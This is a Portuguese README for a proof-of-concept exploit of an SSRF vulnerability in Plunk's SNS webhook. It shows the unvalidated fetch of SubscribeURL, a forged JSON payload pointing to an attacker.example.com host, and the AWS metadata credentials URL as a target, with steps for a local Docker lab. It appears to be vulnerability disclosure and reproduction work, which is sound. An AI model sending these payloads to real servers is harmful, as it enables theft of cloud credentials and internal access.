
Prova de conceito de exploit para uma vulnerabilidade de SSRF no webhook SNS do Plunk, demonstrando falsificação de requisição do lado do servidor não autenticada via SubscribeURL não validado.
SSRF via confirmação de assinatura SNS da AWS não validada em useplunk/plunk
O endpoint da API do Plunk POST /webhooks/sns busca um SubscribeURL fornecido pelo atacante sem verificar a assinatura criptográfica do SNS da AWS. Um atacante não autenticado pode forçar o servidor a fazer requisições HTTP de saída arbitrárias (SSRF).
| Severidade | Crítica — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Arquivo afetado | apps/api/src/controllers/Webhooks.ts |
| Autenticação necessária | Nenhuma |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — sem validação de assinatura
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
O payload mínimo tem apenas dois campos:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Inicie o ambiente de teste do Plunk:
docker compose up -d
Inicie o listener de callback SSRF:
python3 listener.py
Execute o exploit:
chmod +x exploit.sh
./exploit.sh
Observe o callback recebido na saída do listener.py, confirmando que o servidor buscou a URL controlada pelo atacante.
| Arquivo | Descrição |
|---|---|
exploit.sh | Script de exploit de ponta a ponta — envia payload SNS forjado para o endpoint vulnerável |
listener.py | Listener de callback SSRF — captura e registra requisições recebidas do servidor Plunk |
docker-compose.yml | Ambiente Docker Compose mínimo (Postgres, Redis, Plunk) para reprodução local |